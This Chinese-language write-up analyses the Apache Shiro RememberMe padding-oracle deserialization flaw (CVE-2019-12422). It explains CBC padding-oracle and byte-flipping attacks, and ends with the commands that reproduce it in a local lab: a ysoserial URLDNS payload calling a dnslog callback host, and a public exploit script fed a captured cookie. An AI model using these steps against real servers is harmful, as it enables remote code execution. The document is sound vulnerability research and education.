shiro-721(CVE-2019-12422)
漏洞简介
官方issues:https://issues.apache.org/jira/browse/SHIRO-721
Apache Shiro 1.4.2 之前的版本默认使用 AES/CBC/PKCS5Padding 模式加密,开启 RememberMe 功能的Shiro组件将允许远程攻击者构造序列化数据,攻击者可以在已有的正常登陆的 Cookie rememberMe 值的基础上根据 Padding Oracle Attack 的原理来爆破构造出恶意的 rememberMe 字段,实施反序列化攻击。
影响版本
1.2.5 <= Apache Shiro < 1.4.2
环境搭建
直接使用shiro官方的samples-web进行分析
git clone https://github.com/apache/shiro.git
cd ./shiro
# 恢复到shiro-1.4.1版本
git checkout shiro-root-1.4.1
然后将samples/web
打包丢到tomcat运行
漏洞分析
漏洞复现步骤:
- 登录网站并且获取 RememberMe Cookie 值
- 使用 RememberMe Cookie 值来作为 Padding Oracle Attack 的前缀
- 通过 Padding Oracle Attack 的攻击方式精心构造可利用的反序列化数据
- 将构造好的反序列化数据填充到 RememberMe Cookie 字段中并发送,即可在目标服务器上执行任意代码.
shiro-721可以不获取加密密钥key值,通过 Padding Oracle Attack 构造能通过验证的 rememberMe 值,然后触发反序列化,但是需要一个有效的 rememberMe 值才能进行攻击利用,所以利用面不算大
有以下几个点需要知道:
- CBC 加密模式:将明文切分成若干小段,然后每一段分别与上一段的密文进行异或运算,再与密钥进行加密,生成本段明文的密文,这段密文用于下一段明文的加密。第一段明文没有对应的密文 , 为了确保分组的唯一性,CBC 加密模式使用了初始化向量( IV , Initialization Vector )。初始化向量是一个固定长度的随机数,该向量会作为密文第一个块,随密文一同传输
- 利用 Padding Oracle Attack 的前提是这里shiro接收的 rememberMe 值如果可以正确解析,就不会返回 deleteMe ,解析失败则返回 deleteMe
- Java原生反序列化是按照指定格式来读取序列化数据的,而ObjectOutputStream是一个对象操作流,其会按格式以队列方式读下去,也就是说在正常的序列化数据后面继续添加一些数据是不会影响反序列化操作的
-
AES/CBC/PKCS5Padding
: 以完整字节填充 , 每个填充字节的值是用于填充的字节数 . 即要填充 N 个字节 , 每个字节都为 N.
例:使用 PKCS5Padding 方式填充 3 个字节 : | AA BB CC DD EE 03 03 03 |
在 Apache Shiro 中默认使用 CBC 加密模式与 PKCS5Padding 填充方式, CBC 加密模式容易遭到 Padding Oracle Attack,攻击者可以通过枚举 IV 的方式计算出全部明文,并且可以通过 CBC Byte-Flipping Attack 篡改某一段的明文
在每个Block解密后,会异或“前一个密文Block”,得到明文,若最后1个解密出的明文padding填充值错误,会导致解密不成功,报错
攻击者可以通过不断改变“前一个Block”,改变“后1个Block密文”的明文。通过返回结果,来判断解密是否成功。进而获取“后一个Block”解密出的“MediumValue”,得到“MediumValue”就能解密密文,加密明文。大于2组的密文,攻击者可以按规则选取其中2组block进行尝试,从而达到加密解密所有Block的效果
利用 Padding Oracle Attack,我们已经可以得知明文对应的密文以及密文对应的明文,相当于知道了key值,我们又知道在 CBC 加密模式中,第 n 个密文分组可以影响第 n+1 个明文分组,那我们已经知道了密文对应的明文,这里修改第 n 个密文分组,就相当于控制第 n+1 个明文分组
CBC字节翻转攻击的原理 : 通过损坏密文字节来改变明文字节
于是我们可以利用CBC字节翻转攻击,即可构造我们的恶意数据,在数据解密后通过验证,执行反序列化时触发我们的恶意数据
复现可以使用https://github.com/inspiringz/Shiro-721这个exp
先登录获取正常的rememberMe值,然后利用exp进行爆破,这里用的是urldns的链,数据越短,爆破时间越短,大概爆破了1分钟左右就有了
java -jar ysoserial.jar URLDNS "7xmxkf.dnslog.cn" > urldns.ser
python2 shiro_exp.py http://localhost:8081/samples_web_war_141/account/ xCKD5USpoOeldd+0q1GW1JtommZvz8/SHxg03t59L1f5qiJRgZ/rzuKHmzhPixuFYTjx6/ET3eLYPjoskQKsrSbnvGe9NoHOgy1n7/aFTQOOMCeifyFPOTucmKhzZgJMrRX/DYOprvI+cpqS0ZEhX1yiOoKvoZTMAURobpxOSsihhjyvjb9XhtOnLlxIY0xXP5Wvr5ooinqz+5h2KTQUwHlf7OLttKpFShAWmp+svx9u9IH/LG93QRXf435nes/lyAykYT+Lm+O+yOUM3uab0oMS2soykUUVKS6dGFOWyzFV84egw6dJeS6AvRzBjXv87ZjAsx2odrY1/izjf9i8JoJM+byV2zgNV2v/Y5kCcqWPQpc6j86X6OOKDtC8f10Xl5PnltcibrJpKOxMlQ4KSPYtN980DY9SQWQeZYnX8BVmuF1s0ZA0vu5sarPO7lDuVm0ULDH/vpUETBpya70LhBkrKI7bi7XlizWgVN5PRj3pP0s7mkF3L5nSxYRj4E6y urldns.ser
Reference
https://www.anquanke.com/post/id/192819
https://www.angelwhu.com/paper/2019/06/04/padding-oracle-an-introduction-to-the-attack-method-of-one-encryption-algorithm/
https://www.anquanke.com/post/id/193165
https://www.guildhab.top/2020/11/cve-2019-12422-shiro721-apache-shiro-rememberme-padding-oracle-1-4-1-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e-%e5%88%86%e6%9e%90-%e4%b8%8a/
https://github.com/inspiringz/Shiro-721